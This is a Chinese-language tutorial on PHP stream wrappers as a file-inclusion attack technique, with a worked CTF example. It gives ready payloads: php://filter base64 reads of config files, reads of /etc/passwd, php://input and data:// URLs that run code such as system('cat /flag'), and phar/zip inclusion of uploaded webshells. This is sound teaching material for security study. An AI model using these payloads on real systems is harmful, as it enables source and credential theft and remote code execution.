伪协议不是 CTF 的"默认套路",它是 PHP 真实存在的功能(官方叫 PHP Wrappers,封装协议)。CTF 里高频出现,是因为 CTF 题专门围绕它设计漏洞;但它的原理在真实渗透中一样适用。先说清楚为什么需要它,再说什么时候用。
为什么需要伪协议------根源在 include 的行为
include 拿到一个文件后,不是"显示"它,而是执行它:
php
include 'conn.php';
- 如果
conn.php是 PHP 代码 → 直接执行,你看不到源码(数据库密码之类全被"吞"掉了) - 如果是
.txt、.html等非 PHP 文件 → 原样输出,不需要伪协议
所以读文件分两种情况:
| 目标文件 | 直接 include 的结果 | 怎么办 |
|---|---|---|
flag.txt、/etc/passwd |
内容直接显示 | 不用伪协议 |
conn.php、config.php |
代码被执行,看不到内容 | 必须想办法让它"不执行" |
php://filter 解决的就是第二种情况:它在读取时对内容做一层编码转换,把 PHP 代码变成 base64 文本------base64 不是合法 PHP 代码,PHP 引擎就不执行它,而是当普通字符串输出:
php
include 'php://filter/convert.base64-encode/resource=conn.php';
页面输出一大段 base64,你解码后就是 conn.php 的原始源码。
什么环境下用------前提条件
伪协议利用需要满足这些条件,缺一不可:
- 存在文件包含点 :文件名能被用户控制,如
include $_GET['file'] allow_url_fopen = On:php://、file://等本地流一般要求这个(多数环境默认开)allow_url_include = On:只有data://、http://远程包含才需要这个(默认关,所以 CTF 里用data://执行代码的题目会明确给这个环境)
也就是说,只要题目(或真实目标)给了你一个可控的 include,伪协议就是你的工具箱,先试试永远没错------这也是它看起来像"默认做法"的原因:它确实是文件包含漏洞的标准利用手段,CTF 和现实渗透都一样。
常用伪协议和各自的用途
1. php://filter ------ 读源码(最常用)
php://filter/convert.base64-encode/resource=conn.php
php://filter/read=string.rot13/resource=conn.php ← base64 被过滤时的备选
2. php://input ------ 执行 POST body 里的代码
include 'php://input' 会把 POST 请求体当 PHP 代码执行:
GET /index.php?file=php://input
POST body: <?php system('cat /flag'); ?>
需要 allow_url_include=On。
3. data:// ------ 直接执行 URL 里写的代码
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
同样需要 allow_url_include=On,常用于绕过后缀限制(如 include $file.'.php' 时后面拼接的内容可以被代码注释掉)。
4. phar:// / zip:// ------ 配合文件上传
当你只能上传图片,但能把图片做成 phar 包或 zip 包时:
?file=phar://./uploads/shell.jpg/test.php ← 执行压缩包里的 test.php
?file=zip://./uploads/shell.zip%23shell.php
5. file:// ------ 显式读本地文件
?file=file:///etc/passwd
效果和直接写相对路径差不多,但在某些过滤了 ../ 的场景可以绕过。
例题
php
<?php
show_source(__FILE__); // 把本文件源码显示出来(作者送的线索)
if(isset($_GET['file'])){
include $_GET['file']; // ★ 危险点 1:include 的文件名来自 URL 参数
}
if(!isset($_GET['parameter'])) die(); // 没传 parameter 就直接结束
$str = addslashes($_GET['parameter']); // ★ 危险点 2:把参数里的特殊字符转义,只当普通文字
$file = file_get_contents('./conn.php'); // 读 conn.php
$file = preg_replace('|\$parameter=\'.*\';|', "\$parameter='$str';", $file); // 替换里面的变量
file_put_contents('./conn.php', $file); // 再写回去
?>
这个 include 点直接包含 conn.php 只会执行它、看不到内容;想读它的源码(看看 $parameter 那行长什么样、有什么过滤),就该用:
?file=php://filter/convert.base64-encode/resource=conn.php
而题目里第二个漏洞(preg_replace 写配置文件 + addslashes)走的是另一条路------不依赖 include,而是利用参数污染往 conn.php 里写入代码,再配合 include 触发。两条路往往要结合用。
总结
- 伪协议是 PHP 内置功能,不是 CTF 发明的东西,真实渗透测试里同样是文件包含漏洞的标准利用方式
- 核心动机就一个:include 会执行 PHP 文件,而你想看的是它的源码 ,
php://filter通过编码让代码"失效可读" - CTF 里"上来先试伪协议"是经验习惯,但这个习惯来自真实攻防,不是做题玄学
- 判断能不能用:看
allow_url_fopen/allow_url_include配置,以及过滤规则(黑名单里有没有php://、:之类)